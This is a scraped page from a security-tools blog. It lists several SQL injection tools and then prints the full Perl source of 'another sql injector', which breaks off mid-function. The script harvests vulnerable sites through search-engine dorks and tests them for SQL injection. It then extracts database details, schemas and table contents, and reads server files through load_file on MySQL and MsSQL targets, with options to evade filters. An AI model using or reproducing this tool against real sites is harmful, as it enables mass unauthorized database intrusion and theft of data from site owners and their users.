Security List Network™
Follow Us on FacebookFollow Us on Google+Follow Us on TwitterFollow Us on Pinterest
Menu
  • Home
  • About Us
  • Security Archives
  • Partners
Menu
  • Automation
  • Browser
  • Brute Force
  • Code Scripting
  • Cryptography
  • Encryption
  • Exploits
  • Framework
  • Linux Security Distros
  • Mobile Applications Tools
    • Android Tools
    • iPhone Tools
  • Networking
    • Bluetooth
    • Monitoring/System Administrator
    • Network Mapping/Scanner
    • Packet Sniffer/Sniffing
    • Internet Security
    • Spoofing/Spoofer
    • Wireless/wifi
  • Penetration Test
    • BenchMark
    • Cross Site Scripting(XSS)
    • Fuzzer/Fuzzing
    • Sql Injection
    • Stress Testing
  • Security Tools
    • Anti Malware/Virus – Malware Analysis
    • Firewall
    • Intrussion Detection and Prevention System(IDS/IPS)
    • Registry Analysis

SITEMAP

Archives

Browse: Home   /   Penetration Test   /   Sql Injection   /   Page 10
NOWASP Mutillidae II 2.6.30 released : OWASP Mutillidae II Web Pen-Test Practice Application.

NOWASP Mutillidae II 2.6.30 released : OWASP Mutillidae II Web Pen-Test Practice Application.

November 26, 2015
King-Pin
Cross Site Scripting(XSS), Fuzzer/Fuzzing, Penetration Test, Sql Injection

Change Log for OWASP Mutillidae II 2.6.30: + BUG FIX: Function startsWith() was orphaned on the index.php page. Moved into the RemoteFileHandler.php as a private…

Read Article →
Hibernate injection - HQL injection exploitation.

Hibernate injection – HQL injection exploitation.

November 25, 2015
K-159
Code Scripting, Exploits, Penetration Test, Sql Injection

Some tricks how to exploit HQL injection as blind SQL injection for different DBMSs. File: + hqli_sql_server_demo.pl – PoC script for exploiting HQLi in MS…

Read Article →
SQLi login payload Scanner v.2 released.

SQLi login payload Scanner v.2 released.

November 24, 2015
HoChi-Minh
Code Scripting, Penetration Test, Scanner, Sql Injection

SQLi login payload Scanner v.2. System requrements : WIndows 7/Vista/8.1/10, Ubuntu 14.04, Kali Linux 2.0 Black Arch Linux. Requirements (you can install manually using pip):…

Read Article →
JSQL Injection v-0.7 released : a java tool for automatic database injection.

JSQL Injection v-0.7 released : a java tool for automatic database injection.

November 23, 2015
King-Pin
Penetration Test, Scanner, Sql Injection

Changelog JSQL-Injection v0.7 This version includes : + Batch scan + Github issue reporter + Support 16 db engines + Optimized GUI jSQL Injection is…

Read Article →
Joomla mass sqli exploiter.

Joomla mass sqli exploiter.

October 28, 2015
ahm3ds
Exploits, Penetration Test, Sql Injection

[Mass Exploit] Joomla 3.2 – 3.44 SQL Injection. SCanner and exploiter for CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858. Requirements : + Python version 3.4.x + A third…

Read Article →
another sql injector in perl.

another sql injector in perl.

October 23, 2015
skygear
Fuzzer/Fuzzing, Penetration Test, Sql Injection

another sql injector in perl. Support Mysql and MsSQL. Script :

Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
#!/usr/bin/perl
 
 
use LWP::UserAgent;
use HTTP::Request;
 
sub help
{
     system('cls');
     system('title Another SQL InJeCtoR');
     print "\n\n-----------------------------------\n";
     print "[!] Usage : perl $0 <option>\n";
     print "\n\n--/// MySQL\n";
     print "     --mysqlcol         MySQL column length calculator            MySQL v4/5\n";
     print "     --mysqldetails     MySQL target website db global infos      MySQL v4/5\n";
     print "     --mysqlschema      MySQL Full Schema Extractor               MySQL v5\n";
     print "     --mysqldump        MySQL Data Dump                           MySQL v4/5\n";
     print "     --mysqlfile        MySQL load_file fuzzer                    MySQL v4/5\n";
     print "     --mysqltblfuzz     MySQL Table_name Fuzzer                   MySQL v4\n";
     print "     --mysqlcolfuzz     MySQL Column_name Fuzzer                  MySQL v4\n";
     print "\n\n--/// MsSQL\n";
     print "     --mssqldetails      MsSQL DB global info\n";
     print "     --mssqltable        MsSQL Tables Extractor\n";
     print "     --mssqlcolumns      MsSQL Columns Extractor\n";
     print "     --mssqldump         MsSQL Columns Extractor\n";
     print "\n\n--/// Vulunerability Scanner\n";
     print "     --dork              URL Extractor , SQL Vulnerability's Scanner & checker\n";
     print "\n\n--/// Options\n";
     print "     --proxy             define a proxy to use\n";
     print "     --listfile          list of columns or tables to use in fuzz or load_file files list\n";
     print "     --output            save injection or scan result in an outside file\n";
     print "     --table             table to use in dumping data or in tbles extract\n";
     print "     --column            column to use in dumping data or in column extract\n";
     print "     --evasion           %20    /*    +\n";
     print "     --help              print this help text :P\n";
     exit();
}
 
sub variables
{
     my $i=0;
     foreach (@ARGV)
     {
         if ($ARGV[$i] eq "--dork"){$search_dork = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqlcol"){$mysql_count_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqldetails"){$mysql_details_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqlschema"){$mysql_schema_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqldump"){$mysql_dump_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqltblfuzz"){$mysql_fuzz_table = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqlcolfuzz"){$mysql_fuzz_column = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mysqlfile"){$mysql_load_file = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mssqldetails"){$mssql_details_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mssqltable"){$mssql_table_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mssqlcolumn"){$mssql_column_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--mssqldump"){$mssql_dump_target = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--column"){$sql_dump_column = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--table"){$sql_dump_table = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--evasion"){$evasion = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--output"){$vulnfile = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--proxy"){$proxy = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--listfile"){$word_list = $ARGV[$i+1]}
         if ($ARGV[$i] eq "--help"){&help}
         $i++;
     }
}
 
 
 
sub main
{
     system('cls');
     system('title Another SQL InJeCtoR');
     print " \n\n      Another SQL InJeCtoR";
     print " \n            Coded By skygear \n\n";
     if (@ARGV<1){print "[!] For Help : perl $0 --help\n\n\n" ;}
}
 
sub vulnscanner
{
     checkgoogle();
     googlescan($search_dork);
     askscan($search_dork);
}
 
sub checkgoogle
{
     my $request   = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$search_dork&btnG=Search&start=10");
     my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
     $useragent->proxy("http", "http://$proxy/") if defined($proxy);
     my $response  = $useragent->request($request) ;
     my $result    = $response->content;
     if ($result   =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()}
}        
 
sub googlescan
{
     my $dork  = $_[0];
     for ($i=0;$i<200;$i=$i+10)
     {
         my $request   = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i");
         my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
         $useragent->proxy("http", "http://$proxy/") if defined($proxy);
         my $response  = $useragent->request($request) ;
         my $result    = $response->content;
         while ($result =~ m/class=r><a href=\"(.*?)\" class=l>/g )
         {
             print "[!] Trying to fuzz $1\n";    
             checkvuln($1)
         }
     }                  
}
 
sub askscan
{
     my $dork  = $_[0];
     for ($i=0;$i<20;$i++)
     {
         my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=page.php?id=&qsrc=0&o=0&l=dir&q=$dork&page=$i&jss=");
         my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
         $useragent->proxy("http", "http://$proxy/") if defined($proxy);
         my $response  = $useragent->request($request) ;
         my $result    = $response->content;
         while ($result =~ m/<span id=\"r(.*)_u\" class=\"(.*)\">(.*)<\/span>/gi)
         {
             my $askurl ="http://".$3 ;
             print "[!] Trying to fuzz $askurl\n";
             checkvuln($askurl);
         }
     }
}
 
sub checkvuln
{
     my $scan_url   = $_[0];
     my $link       = $scan_url.'0+order+by+9999999--';
     my $ua         = LWP::UserAgent->new();
     $ua->proxy("http", "http://$proxy/") if defined($proxy);
     my $req        = $ua->get($link);
     my $fuzz       = $req->content;
     if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i )
     {
         print "[!] MySQL Vulnerable     -> $scan_url\n";
         if (defined($vulnfile))
         {
             push (@mysqlvuln,"$scan_url\n");
         }
     }
     elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
     {
         print "[!] MsSQL Vulnerable     -> $scan_url\n";
         if (defined($vulnfile))
         {
             push (@mssqlvuln,"$scan_url\n");
         }
     }
     elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i )
     {
         print "[!] MS Access Vulnerable -> $scan_url\n";
         if (defined($vulnfile))
         {
             push (@accessvuln,"$scan_url\n");
         }
     }
}
 
sub mysqlcount
{
     my $site   = $_[0];
     my $ev     = $_[1];
     my $null   = "09'+and+1=" ;
     my $code   = "0+union+select+" ;
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     my $injection = $site.$null.$code."0",$com ;
     my $useragent = LWP::UserAgent->new();
     $useragent->proxy("http", "http://$proxy/") if defined($proxy);
     my $response  = $useragent->get($injection);
     my $result   = $response->content;
     if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/supplied argument is not a valid MySQL/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
     {
          print "\n[!] This Website Is Vulnerable\n" ;
          print "[+] Working On It\n";
     }
     else
     {
         print "\n[!] This WebSite Is Not SQL Vulnerable !\n";
         exit();
     }
     for ($i = 0 ; $i < 100 ; $i ++)
     {
         $col.=','.$i;
         $specialword.=','."0x617a38387069783030713938";
         if ($i == 0)
         {
             $specialword = '' ;
             $col = '' ;
         }
         $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
         $ua = LWP::UserAgent->new();
         $ua->proxy("http", "http://$proxy/") if defined($proxy);
         $rq = $ua->get($sql);
         $response = $rq->content;
         if($response =~ /az88pix00q98/)
         {
             $i ++;            
             print "\n[!] MySQL Column Count Finished\n" ;
             print "[!] This WebSite Have $i Columns\n" ;
             $sql=$site.$null.$code."0".$col.$com ;
             print "=> ".$sql ."\n\n";    
             if (defined($vulnfile))
             {
                 open(vuln_file,">>$vulnfile") ;
                 print vuln_file "Target Host : $site\n";
                 print vuln_file "Evasion     : $ev\n";
                 print vuln_file "Col length  : $i\n";
                 print vuln_file "Injection   : $sql\n";
                 close(vuln_file);
                 print "[+] Result Saved to $vulnfile\n";
             }
             exit () ;        
         }    
     }
}
 
sub mysqldetails
{
     my $site   = $_[0];
     my $ev     = $_[1];
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938)";
     print "\n[+] Info Getting, Started Please Wait ....\n\n";
     if ($site =~ /(.*)NullArea(.*)/i)
     {
         my $newlink = $1.$selection.$2.$com;
         my $ua = LWP::UserAgent->new();
         $ua->proxy("http", "http://$proxy/") if defined($proxy);
         my $request = $ua->get($newlink);
         my $content = $request->content;
         if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
         {
             print "[!] Database Version  : $1\n";
             print "[!] Database Name     : $2\n";                          
             print "[!] DB UserName       : $3\n";                          
             if (defined($vulnfile))
             {
                 open(vuln_file,">>$vulnfile") ;
                 print vuln_file "[!] Target            : $site\n";
                 print vuln_file "[!] evasion           : $ev\n";
                 print vuln_file "[!] Database Version  : $1\n";
                 print vuln_file "[!] Database Name     : $2\n";
                 print vuln_file "[!] DB UserName       : $3\n";
                 close(vuln_file);
                 print "\n[+] Result Saved to $vulnfile\n";
             }
             exit () ;            
         }
         else
         {
             print "[!] Failed\n";
             exit () ;    
         }
     }
     else
     {
         print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
         exit () ;            
     }
}
 
sub mysqlschema
{
     my $site   = $_[0];
     my $ev     = $_[1];
     my @schema=();
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     my $selection = "concat(0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
     print "\n[+] Schema Extracting, Started Please Wait ....\n\n";
     if ($site =~ /(.*)NullArea(.*)/i)
     {
         print "[+] Column :|: Table :|: Database\n";
         for ($i=0;  $i<=1000 ; $i++ )
         {
             $newstring = $1.$selection.$2.$add.'from'.$add.'information_schema.columns'.$add.'LIMIT'.$add.$i.','.'1'.$com;
             my $ua = LWP::UserAgent->new();
             $ua->proxy("http", "http://$proxy/") if defined($proxy);
             my $request = $ua->get($newstring);
             my $content = $request->content;
             if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
             {
                 print "[!] $1 :|: $2 :|: $3 \n";
                 push (@schema,"$1 :|: $2 :|: $3 \n");
             }
         }
         if (defined($vulnfile))
         {
             open(vuln_file,">>$vulnfile") ;
             print vuln_file "[!] Target            : $site\n";
             print vuln_file "[!] evasion           : $ev\n";
             print vuln_file "[!] Schema  :: ----     \n\n\n";
             $i=0;
             foreach(@schema)
             {
                 print vuln_file $schema[$i]."\n";
                 $i++;
             }
             print "\n[+] Result Saved to $vulnfile\n";
         }
     }
     else
     {
         print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
         exit () ;            
     }
}
 
sub mysqldump
{
     my $site   = $_[0];
     my $colm   = $_[1];
     my $tble   = $_[2];
     my $ev     = $_[3];
     print "[+] Table name $tble\n";
     print "[+] Column name $colm\n";
     my @dumper=();
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     my $selection = "concat(0x617a38387069783030713938,$colm,0x617a38387069783030713938)";
     print "\n[+] Data Dump Started Please Wait ....\n\n";
     if ($site =~ /(.*)NullArea(.*)/i)
     {
         $i=0;
         print "[+] Dumped Data : //// \n";
         do
         {
             $newstring = $1.$selection.$2.$add.'from'.$add.$tble.$add.'LIMIT'.$add.$i.','.'1'.$com;            
             my $ua = LWP::UserAgent->new();
             $ua->proxy("http", "http://$proxy/") if defined($proxy);
             my $request = $ua->get($newstring);
             my $content = $request->content;
             if ($content =~ /az88pix00q98(.*)az88pix00q98/)
             {
                 print "[!] $1 \n";
                 push(@dumper,"$1\n");
             }
             $i++;
         }
         while ($i<1500);
         if (defined($vulnfile))
         {
             open(vuln_file,">>$vulnfile") ;
             print vuln_file "[!] Target            : $site\n";
             print vuln_file "[!] evasion           : $ev\n";
             print vuln_file "[!] Dumped Column     : $colm\n";
             print vuln_file "[!] Dumped Table      : $tble\n";
             print vuln_file "[!] Data  :: ----     \n\n\n";
             $i=0;
             foreach(@dumper)
             {
                 print vuln_file $dumper[$i]."\n";
                 $i++;
             }
             close(vuln_file);
             print "\n[+] Result Saved to $vulnfile\n";
         }
     }
     else
     {
         print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
         exit () ;            
     }
}
 
sub mysqlfuzztable
{
     my $site    = $_[0];
     my $ev      = $_[1];
     my $filelst = $_[2];
     print "[+] File List $filelst\n";
     my @tbles_possible=();
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
     @word_list_search = <word_list_file> ;
     print "\n[+] Fuzzing Table, Started Please Wait ....\n\n";
     if ($site =~ /(.*)NullArea(.*)/i)
     {
         print "[+] Fuzz Result : //// \n\n";
         $i=0;        
         foreach (@word_list_search)
         {
             print "[!] Trying To Fuzz Table_name with $word_list_search[$i]";
             $newstring = $1."0x617a38387069783030713938".$2.$add.'from'.$add.$word_list_search[$i].$com;                
             my $ua = LWP::UserAgent->new();
             $ua->proxy("http", "http://$proxy/") if defined($proxy);
             my $request = $ua->get($newstring);
             my $content = $request->content;
             if ($content =~ /az88pix00q98/)
             {
                 print "\n[!] Found Table ! $word_list_search[$i] \n";
                 push(@tbles_possible,"$word_list_search[$i]\n");
             }
             $i++;
         }
         if (defined($vulnfile))
         {
             open(vuln_file,">>$vulnfile") ;
             print vuln_file "[!] Target            : $site\n";
             print vuln_file "[!] evasion           : $ev\n";
             print vuln_file "[!] Wordlist          : $filelst\n";
             print vuln_file "[!] Tbles Found  :: ----     \n\n\n";
             $i=0;
             foreach(@tbles_possible)
             {
                 print vuln_file $tbles_possible[$i]."\n";
                 $i++;
             }
             close(vuln_file);
             print "\n[+] Result Saved to $vulnfile\n";
         }
     }
     else
     {
         print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
         exit () ;            
     }
}
 
sub mysqlfuzzcolumn
{
     my $site    = $_[0];
     my $ev      = $_[1];
     my $filelst = $_[2];
     my $tablext = $_[3];
     print "[+] File List $filelst\n";
     print "[+] Table To Fuzz Columns $tablext\n";
     my @cols_possible=();
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
     @word_list_search = <word_list_file> ;
     print "\n[+] Fuzzing Column, Started Please Wait ....\n\n";
     if ($site =~ /(.*)NullArea(.*)/i)
     {
         print "[+] Fuzz Result : //// \n\n";
         $i=0;        
         foreach (@word_list_search)
         {
             print "[!] Trying To Fuzz Column_name with $word_list_search[$i]";
             $newstring = $1."concat(0x617a38387069783030713938,$word_list_search[$i])".$2.$add.'from'.$add.$tablext.$com;                
             my $ua = LWP::UserAgent->new();
             $ua->proxy("http", "http://$proxy/") if defined($proxy);
             my $request = $ua->get($newstring);
             my $content = $request->content;
             if ($content =~ /az88pix00q98/)
             {
                 print "\n[!] File Column ! $word_list_search[$i] \n";
                 push(@cols_possible,"$word_list_search[$i]\n");
             }
             $i++;
         }
         if (defined($vulnfile))
         {
             open(vuln_file,">>$vulnfile") ;
             print vuln_file "[!] Target            : $site\n";
             print vuln_file "[!] evasion           : $ev\n";
             print vuln_file "[!] Wordlist          : $filelst\n";
             print vuln_file "[!] Cols Found  :: ----     \n\n\n";
             $i=0;
             foreach(@cols_possible)
             {
                 print vuln_file $cols_possible[$i]."\n";
                 $i++;
             }
             close(vuln_file);
             print "\n[+] Result Saved to $vulnfile\n";
         }
     }
     else
     {
         print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
         exit () ;            
     }
}
 
sub mysqlfile
{
     my $site    = $_[0];
     my $ev      = $_[1];
     my $filelst = $_[2];
     print "[+] File List $filelst\n";
     my @cols_possible=();
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
     @word_list_search = <word_list_file> ;
     print "\n[+] File Fuzz, Started Please Wait ....\n\n";
     if ($site =~ /(.*)NullArea(.*)/i)
     {
         print "[+] Fuzz Result : //// \n\n";
         $i=0;        
         foreach (@word_list_search)
         {
             $newstring = $1."concat(0x617a38387069783030713938,load_file('$word_list_search[$i]'))".$2.$com;            
             my $ua = LWP::UserAgent->new();
             $ua->proxy("http", "http://$proxy/") if defined($proxy);
             my $request = $ua->get($newstring);
             my $content = $request->content;
             print "[!] Trying To Fuzz Load_File with $word_list_search[$i]";
             if ($content =~ m/az88pix00q/i)
             {
                 print "\n[!] Found File ! $word_list_search[$i] \n";
                 push(@cols_possible,"$word_list_search[$i]\n");
             }
             $i++;
         }
         if (defined($vulnfile))
         {
             open(vuln_file,">>$vulnfile") ;
             print vuln_file "[!] Target            : $site\n";
             print vuln_file "[!] evasion           : $ev\n";
             print vuln_file "[!] Wordlist          : $filelst\n";
             print vuln_file "[!] Files Found  :: ----     \n\n\n";
             $i=0;
             foreach(@cols_possible)
             {
                 print vuln_file $cols_possible[$i]."\n";
                 $i++;
             }
             close(vuln_file);
             print "\n[+] Result Saved to $vulnfile\n";
         }
     }
     else
     {
         print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
         exit () ;            
     }
}
 
sub mssqldetails
{
     my $site   = $_[0];
     my $ev     = $_[1];
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     print "\n[+] Getting Infos, Started Please Wait ....\n\n";
     $version = "convert(int,(select".$add."\@\@version));--" ;
     $system_user = 'convert(int,(select'.$add.'system_user));--';
     $db_name = 'convert(int,(select'.$add.'db_name()));--';
     $servername = 'convert(int,(select'.$add.'@@servername));--' ;
     my $injection = $site.$version ;
     my $request   = HTTP::Request->new(GET=>$injection);
     my $useragent = LWP::UserAgent->new();
     $useragent->timeout(10);
     my $response  = $useragent->request($request)->as_string ;
     if ($response =~ /.*?value\s'/)
     {
         print "[+] This Website Is SQL Vulnerable ..\n";
         print "[+] Working On It ..\n";
         $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ;
         print "\n[!] MsSQL Version Is :";
         print "\n\n => $ver"    ;
         my $injection = $site.$system_user ;
         my $request   = HTTP::Request->new(GET=>$injection);
         my $useragent = LWP::UserAgent->new();
         $useragent->timeout(10);
         my $response  = $useragent->request($request)->as_string ;
         $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
         print "\n[!] MsSQL System_User Is    :";
         print "  $system_user  "    ;
         my $injection = $site.$db_name ;
         my $request   = HTTP::Request->new(GET=>$injection);
         my $useragent = LWP::UserAgent->new();
         $useragent->timeout(10);
         my $response  = $useragent->request($request)->as_string ;
         $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
         print "\n[!] MsSQL Database Name Is  :";
         print "  $db_name  "    ;          
         my $injection = $site.$servername ;
         my $request   = HTTP::Request->new(GET=>$injection);
         my $useragent = LWP::UserAgent->new();
         $useragent->timeout(10);
         my $response  = $useragent->request($request)->as_string ;
         $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
         print "\n[!] MsSQL Server Name Is    :";
         print "  $servername  "    ;    
         exit ();                      
     }
     else
     {
         system ("cls");
         print "\n[!] This Website Is Not SQL Vulnerable !";
         exit();
    }
}
 
sub mssqltable
{
     my $site   = $_[0];
     my $ev     = $_[1];
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     print "\n[+] Table Extracting, Started Please Wait ....\n\n";
     $table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables));--";
     $data = "'Ws65qd798sqd9878'";
     print "[!] Tables : //// \n\n";
     for ($i;$i<1500;$i++)
     {
         my $injection = $site.$table ;
         my $useragent = LWP::UserAgent->new();
         $ua->proxy("http", "http://$proxy/") if defined($proxy);
         my $request   = $useragent->get($injection);
         my $response  = $request->content;
         if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
         {
             print "[+] ".$1."\n";
             push (@exttbles,$1);
             $start = "(";
             $data .= ",'$1'";
             $end   = ")";
             $total = $start.$data.$end;
             $table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables".$add."where".$add."table_name".$add."not".$add."in".$add."$total));--";    
         }
     }
     if (defined($vulnfile))
     {
         open(vuln_file,">>$vulnfile") ;
         print vuln_file "[!] Target            : $site\n";
         print vuln_file "[!] evasion           : $ev\n";
         print vuln_file "[!] Data  :: ----     \n\n\n";
         $i=0;
         foreach(@exttbles)
         {
             print vuln_file $exttbles[$i]."\n";
             $i++;
         }
         close(vuln_file);
         print "\n[+] Result Saved to $vulnfile\n";
     }
}
 
sub mssqlcolumn
{
     my $site   = $_[0];
     my $ev     = $_[1];
     my $tblextrct = $_[2];
     print "[+] Table To Extract From $tblextrct\n";
     if ($ev eq '/*')
